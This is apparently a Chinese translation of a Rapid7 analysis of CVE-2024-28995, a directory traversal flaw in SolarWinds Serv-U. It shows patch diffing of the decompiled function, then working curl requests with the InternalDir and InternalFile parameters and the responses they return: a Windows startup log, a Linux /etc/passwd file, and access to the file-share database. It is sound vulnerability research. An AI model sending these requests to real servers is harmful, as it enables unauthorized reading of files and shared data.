白帽故事 · 2024年6月27日 0

SolarWinds CVE-2024-28995 漏洞分析

概述

2024 年 6 月 5 日,SolarWinds 发布了针对 CVE-2024-28995 的公告,CVE-2024-28995 是一个影响其文件传输解决方案 Serv-U 的高严重性目录遍历漏洞。该漏洞由 Web Immune 研究员 Hussein Daher 发现。

在 Windows 或 Linux 上运行的以下版本Serv-U 受到影响:

  • Serv-U FTP Server 15.4
  • Serv-U Gateway 15.4
  • Serv-U MFT Server 15.4

根据厂商文档说明,Serv-U 版本及更早版本将于 2025 年 2 月终止使用寿命,低于此版本 15.3.2 的所有版本均已终止使用寿命且不受支持。

本文环境是运行在 SolarWinds Serv-U File Server(64 位)版本 15.4.2.126 的 Windows Server 2022 系统上进行的。

同时还确认了对在 Linux 上运行的 Serv-U File Server (64-bit) 版本 15.4.2.126 的利用,这两种情况下,都使用了所有默认安装选项。在 Windows 或 Linux 上运行 Serv-U 时,会创建一个新的 Serv-U 文件传输和文件共享“域”,以反映实际部署。

厂商提供的修补程序 15.4.2 Hotfix 2 (版本 15.4.2.157 )已成功修复该漏洞。

分析

Serv-U 应用程序在很大程度上是用 C++ 编写的本机代码应用程序,大部分代码位于 Serv-U.dll 二进制文件中。

分别下载应用程序的易受攻击版本,版本 15.4.2.126 ,以及包含 CVE-2024-28995 修补程序 15.4.2.157 版本。

使用 IDA Pro 分析了两个二进制文件,然后使用 BinDiff 进行二进制差异分析。查看 BinDiff“函数匹配”结果,可以看到在修补程序中只修改了一个函数:

file

修改后的函数 sub_18016DC30 的两个版本,在两个二进制文件中具有相同的地址,可以反编译和比较,以便更好地了解已更改的内容。以下是函数更改的完整代码信息:

diff --git a/func_vuln.c b/func_patched.c
index a83d349..8a1bd0c 100644
--- a/func_vuln.c
+++ b/func_patched.c
@@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
   char v29; // bl
   __int64 v30; // rax
   __int64 v31; // rax
-  __int64 v32; // rax
-  void **v34; // [rsp+38h] [rbp-38h] BYREF
-  char v35[8]; // [rsp+40h] [rbp-30h] BYREF
-  void **v36; // [rsp+48h] [rbp-28h] BYREF
-  wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF
-  char v38[24]; // [rsp+58h] [rbp-18h] BYREF
+  void **v33; // [rsp+38h] [rbp-38h] BYREF
+  char v34[8]; // [rsp+40h] [rbp-30h] BYREF
+  void **v35; // [rsp+48h] [rbp-28h] BYREF
+  wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF
+  char v37[24]; // [rsp+58h] [rbp-18h] BYREF

-  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37);
-  v36 = &CRhinoString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
-  v36 = (void **)&CSUString::`vftable';
-  std::vector<void *>::_Orphan_range(&v36);
+  ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36);
+  v35 = &CRhinoString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
+  v35 = (void **)&CSUString::`vftable';
+  std::vector<void *>::_Orphan_range(&v35);
   PLH::VTableSwapHook::VTableSwapHook(this, v7, v8);
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") )
   {
     Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       Manager);
     v10 = -1LL;
     do
@@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t *
     while ( aWebClient_0[v10] );
 LABEL_4:
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Web Client",
       v10);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-LABEL_46:
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34);
-    goto LABEL_47;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+    goto LABEL_48;
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") )
+  if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") )
   {
-    if ( a4 )
+    if ( !a4
+      || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
+      && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) )
     {
-      if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4)
-        || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) )
-      {
-        v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-        ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-          &v34,
-          v12);
-        v13 = -1LL;
-        do
-          ++v13;
-        while ( aAdmin_1[v13] );
-        ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-          &v34,
-          qword_18046D5F8,
-          *(unsigned int *)(qword_18046D5F8 - 16),
-          L"Admin",
-          v13);
-        ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-        goto LABEL_46;
-      }
+      a3 = L"404NotFound.htm";
+      v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+        &v33,
+        v14);
+      v10 = -1LL;
+      do
+        ++v10;
+      while ( aWebClient_0[v10] );
+      goto LABEL_4;
     }
-    a3 = L"404NotFound.htm";
-    v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
-      v14);
-    v10 = -1LL;
+      &v33,
+      v12);
+    v13 = -1LL;
     do
-      ++v10;
-    while ( aWebClient_0[v10] );
-    goto LABEL_4;
+      ++v13;
+    while ( aAdmin_1[v13] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Admin",
+      v13);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") )
   {
     v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v15);
     v16 = -1LL;
     do
       ++v16;
     while ( aCommon_0[v16] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"Common",
       v16);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") )
   {
     v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
     ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-      &v34,
+      &v33,
       v17);
     v18 = -1LL;
     do
       ++v18;
     while ( aFvjv_1[v18] );
     ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-      &v34,
+      &v33,
       qword_18046D5F8,
-      *(unsigned int *)(qword_18046D5F8 - 16),
+      *((unsigned int *)qword_18046D5F8 - 4),
       L"FVJV",
       v18);
-    ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-    goto LABEL_46;
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
   }
-  if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 )
   {
     v19 = sub_180153E60(a4);
     v20 = (CDomainAttrs *)v19;
@@ -146,98 +142,100 @@ LABEL_46:
               0LL,
               0LL,
               0LL);
-      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) )
+      if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) )
       {
-        v22 = (__int64)v36;
+        v22 = (__int64)v35;
         v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21);
-        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23);
+        (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23);
       }
     }
   }
-  else
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
   {
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 )
-    {
-      v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v24);
-      v25 = -1LL;
-      do
-        ++v25;
-      while ( aSidecar_0[v25] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Sidecar",
-        v25);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 )
-    {
-      v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
-      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
-        v26);
-      v27 = -1LL;
-      do
-        ++v27;
-      while ( aDemo[v27] );
-      ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
-        qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
-        L"Demo",
-        v27);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
-    }
-    if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") )
-    {
-      v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37);
-      ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32);
-      goto LABEL_46;
-    }
-    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35);
-    v34 = &CRhinoString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v34 = (void **)&CSUString::`vftable';
-    std::vector<void *>::_Orphan_range(&v34);
-    v28 = sub_1801A6BD4(&v34, v38);
-    v29 = sub_1801A7484(v28);
-    `std::locale::global'::`1'::dtor$2(v38);
-    CSUString::~CSUString((CSUString *)&v34);
+    v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v24);
+    v25 = -1LL;
+    do
+      ++v25;
+    while ( aSidecar_0[v25] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Sidecar",
+      v25);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 )
+  {
+    v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
+      &v33,
+      v26);
+    v27 = -1LL;
+    do
+      ++v27;
+    while ( aDemo[v27] );
+    ATL::CSimpleStringT<wchar_t,1>::Concatenate(
+      &v33,
+      qword_18046D5F8,
+      *((unsigned int *)qword_18046D5F8 - 4),
+      L"Demo",
+      v27);
+    ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
+  }
+  else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") )
+  {
+    ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34);
+    v33 = &CRhinoString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v33 = (void **)&CSUString::`vftable';
+    std::vector<void *>::_Orphan_range(&v33);
+    v28 = sub_1801A6C24(&v33, v37);
+    v29 = sub_1801A74D4(v28);
+    `std::locale::global'::`1'::dtor$2(v37);
+    CSUString::~CSUString((CSUString *)&v33);
     if ( !v29 )
     {
       v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8);
       ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(
-        &v34,
+        &v33,
         v30);
       v31 = -1LL;
       do
         ++v31;
       while ( aWebclientnew[v31] );
       ATL::CSimpleStringT<wchar_t,1>::Concatenate(
-        &v34,
+        &v33,
         qword_18046D5F8,
-        *(unsigned int *)(qword_18046D5F8 - 16),
+        *((unsigned int *)qword_18046D5F8 - 4),
         L"WebClientNew",
         v31);
-      ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34);
-      goto LABEL_46;
+      ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33);
+      ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33);
     }
   }
-LABEL_47:
-  if ( !(unsigned __int8)sub_1801A7484(&v36) )
+  else
+  {
+    CSUString::MakeDirSeparator((CSUString *)&v35);
+    if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 )
+      CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
+    else
+      ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
+  }
+LABEL_48:
+  if ( !(unsigned __int8)sub_1801A74D4(&v35) )
   {
     (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3);
     CSUString::MakeDirSeparator(this);
-    CSUString::BuildLocalPath(this, v37);
-    if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 )
+    CSUString::BuildLocalPath(this, v36);
+    if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 )
       ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8);
   }
-  CSUString::~CSUString((CSUString *)&v36);
+  CSUString::~CSUString((CSUString *)&v35);
   return this;
 }

修改后的函数处理文件路径,可以看到修补后的函数增加了以下检查:

file

检查路径以查看它是否包含双点路径段 ( ..\ ),如果找到该路径,则该路径将被清除,在修补程序中看到添加这样的检查强烈表明该函数是目录遍历漏洞的根本原因。

研究该函数的用法时,将其重命名为 vulnerable_path_traversal_function ,可以发现这个函数的使用模式:

   get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
      get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
      v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);

在几乎所有的 vulnerable_path_traversal_function 用法中,在调用易受攻击的函数之前,都会检索两个名为 InternalDir 和 的 InternalFile HTTP 请求参数。

仅仅提供这两个请求参数就会触发目录遍历漏洞并读取任意文件?利用 curl 命令验证:

curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax

以下信息由目标服务器上的 Procmon 捕获,可以看到明显的路径遍历:

file

现在,我们可以修改请求的路径,就能够实现读取目标服务器上的任意文件。

在 Windows 上,Serv-U 程序数据存储在文件夹中 C:\ProgramData\RhinoSoft\Serv-U\ ,在此文件夹中,该文件 Serv-U-StartupLog.txt 包含应用程序启动期间发出的应用程序日志记录信息。此文件将包含目标 Serv-U 服务器的版本号等。这是一个很好的测试文件,可以读取它来验证漏洞。

修改curl请求,发送:

>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 13:46:06 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/;  httponly
Content-Length: 2119

[01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC.  All rights reserved.
[01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33
[01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200
[01] Tue 11Jun24 01:28:15 - Loaded graphics library.
[01] Tue 11Jun24 01:28:15 - Loaded ODBC database library.
[01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries.
[01] Tue 11Jun24 01:28:15 - Loaded SQLite library.
[01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF.
[01] Tue 11Jun24 01:28:15 - Valid Server Identity found
[01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized.
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1
[01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1)
[01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
[01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)

成功!

有趣的是,以 Windows 系统为目标,能够在 HTTP 请求中发送正斜杠 ( / ) 字符作为路径分隔符。

在 Windows 上,反斜杠字符 ( \ ) 是路径分隔符,这似乎是漏洞根本原因的关键部分。进一步研究,发现易受攻击的函数中试图通过在攻击者提供的路径中查找路径段 ..\ 来检测路径遍历。

但是,如果提供用正斜杠分隔的路径段,例如 /../ ,就可以绕过该检查。稍后,在函数 sub_180165B60 中,调用以 wfopen_s 实际打开此文件之前,调用了一个帮助程序方法,该方法将用底层操作系统本机路径分隔符 \ 替换所有 / ,比如:

C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt

在打开之前,路径将转换为:

C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt

这是 Windows 上的有效路径。在 Linux 服务器上,技术是相同的,但路径分隔符是相反的,只要将 \ 替换为 / 即可。

默认的 Windows 安装将运行具有 NT AUTHORITY\NETWORK SERVICE 权限的 Serv-U 服务。

默认的 Linux 安装将运行具有 root 权限的 Serv-U 服务。

如果 Serv-U 服务没有足够的权限来读取某些文件,则正在运行的 Serv-U 服务的权限将影响读取某些文件的能力。

另一个值得阅读的有趣文件是 C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares 。

这是一个 SQLite3 数据库,其中包含 Serv-U 共享的每个文件。 ShareToken 这是 ShareToken 外部方读取共享文件所需的密钥。

但是,在 Windows 上,此文件被锁定,尝试读取此文件将不起作用。 Serv-U.exe 对 kernelbase!CreateFileW 进程中的调用将返回 ERROR_SHARING_VIOLATION 。

当以 Linux 系统为目标时,则可以读取任意文件,如下 /etc/passwd 。

>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd
HTTP/1.0 200 OK
Server: Serv-U/15.4.2.126
Date: Tue, 11 Jun 2024 14:55:28 GMT
Accept-Encoding: deflate
X-Permitted-Cross-Domain-Policies: none
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT
Expires: -1
Cache-Control: must-revalidate, private
Content-Length: 3017

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

当 SQLite 数据库 Serv-U.FileShares 在 Windows 上被锁定时,却可以在 Linux 目标上成功读取该文件,如下所示:

file

生成的输出将包含一个 HTTP 响应标头,因此需要先将其剥离,仅保留所需文件的内容。

然后,使用DB Browser for SQLite等工具,就可以读取数据库并发现目标系统上的每个共享文件。

file

知道了 ad_hoc_files 共享文件的位置,如上图中 FullPath 列所示,就可以按如下方式读取共享文件了:

file

以上内容由骨哥翻译并整理。

原文:https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis